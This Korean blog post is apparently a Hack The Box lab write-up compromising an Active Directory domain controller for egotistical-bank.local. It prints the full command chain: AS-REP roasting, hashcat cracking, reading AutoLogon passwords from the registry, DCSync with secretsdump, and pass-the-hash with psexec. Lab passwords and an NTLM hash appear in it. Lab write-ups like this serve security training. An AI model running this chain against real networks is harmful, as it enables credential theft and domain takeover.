정보 수집 (Enumeration)
포트 스캔 결과 Kerberos(88)·LDAP(389/636)·SMB(445)·WinRM(5985) 등 전형적인 도메인 컨트롤러 포트가 열려 있었고, 도메인은 egotistical-bank.local이었다. 호스트명을 /etc/hosts에 등록해 둔다.
rustscan -a <target-ip> -- -sC -sV -oN nmap

gobuster로 디렉터리를 탐색했으나 별다른 특이점은 없었다.


anonymous로 smb 접속은 불가능했다.

LDAP 익명 바인드로 조회했으나 별다른 특이점은 없었다.
ldapsearch -x -H ldap://egotistical-bank.local -b "" -s base namingContexts defaultNamingContext dnsHostName

웹 사이트 자체에서는 특이점을 찾지 못했지만, About 페이지에서 직원들의 실명 목록을 확보했다. 이 이름들이 곧 도메인 계정명 후보가 된다.


초기 침투 (AS-REP Roasting → fsmith)
확보한 실명 목록을 username-anarchy에 넣어, first / flast/ first.last / firstl 등 다양한 조합의 계정명 사전을 생성했다.
./username-anarchy --input-file fullnames.txt --select-format first,flast,first.last,firstl > names.txt


생성한 계정 목록으로 AS-REP Roasting을 수행했다. Kerberos 사전 인증(pre-authentication)이 비활성화된 계정은 비밀번호 없이도 AS-REP 응답(해시)을 받을 수 있는데, fsmith 계정이 여기에 해당해 $krb5asrep$ 해시를 얻었다.
while read p; do impacket-GetNPUsers egotistical-bank.local/"$p" -request -no-pass -dc-ip <target-ip> >> hash.txt; done < names.txt

GetNPUsers 결과(hash.txt)에서 $krb5asrep$ 라인만 추려 hash.rep로 저장한 뒤, hashcat으로 크래킹했다. (-m 18200은 Kerberos AS-REP)
hashcat -m 18200 hash.rep /usr/share/wordlists/rockyou.txt

크래킹 결과 fsmith의 비밀번호는 Thestrokes23이었다.
fsmith는 Remote Management Users 그룹에 속해 있어 WinRM 접속이 가능했다.
evil-winrm으로 로그인해 user 권한을 획득했다.
evil-winrm -i egotistical-bank.local -u fsmith -p Thestrokes23

시스템의 사용자 목록을 확인했다.

수평 이동 (Lateral Movement → svc_loanmgr)
권한 상승 경로를 찾기 위해 winPEAS를 실행했다. 그 결과 AutoLogon(자동 로그인) 설정이 활성화되어 있는 것을 발견했다.

자동 로그인이 설정되면 Winlogon 레지스트리에 DefaultUserName과 DefaultPassword가 평문으로 저장된다.
winPEAS가 보여준 값과 동일한 svc_loanmgr의 평문 비밀번호를 reg query로도 직접 확인가능하다.
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

획득한 자격증명으로 svc_loanmgr에 evil-winrm으로 로그인했다.

권한 상승 (DCSync → Administrator)
BloodHound로 svc_loanmgr의 권한을 분석한 결과, 이 계정이 도메인에 대해 DCSync가 가능함을 확인했다.

svc_loanmgr가 도메인 객체에 대해 아래 두 복제 권한을 갖고 있기 때문이다.
이 둘을 모두 가지면 DC의 복제를 흉내 내 모든 계정의 해시를 요청할 수 있다.
- GetChanges (DS-Replication-Get-Changes)
- GetChangesAll (DS-Replication-Get-Changes-All)

PowerView로 해당 복제 권한을 가진 계정을 직접 확인할 수도 있다.
Get-DomainObjectAcl -SearchBase "DC=egotistical-bank,DC=local" -ResolveGUIDs |
? { $_.ObjectAceType -match 'Replication-Get-Changes' } |
select @{N='Account';E={ConvertFrom-SID $_.SecurityIdentifier}}, ObjectAceType

secretsdump로 DCSync를 수행해 도메인 계정 해시를 덤프했다.
impacket-secretsdump egotistical-bank.local/svc_loanmgr:"Moneymakestheworldgoround\!"@<target-ip>

덤프한 Administrator의 NTLM 해시로 Pass-the-Hash(PtH) 로그인을 수행해 도메인 관리자 권한을 획득했다.
impacket-psexec Administrator@egotistical-bank.local -hashes aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e

'HTB' 카테고리의 다른 글
| HTB - Dog (0) | 2026.09.20 |
|---|---|
| HTB - LinkVortex (0) | 2026.09.19 |
| HTB - CozyHosting (0) | 2026.09.06 |
| HTB - Networked (0) | 2026.09.03 |
| HTB - Keeper (0) | 2026.08.17 |
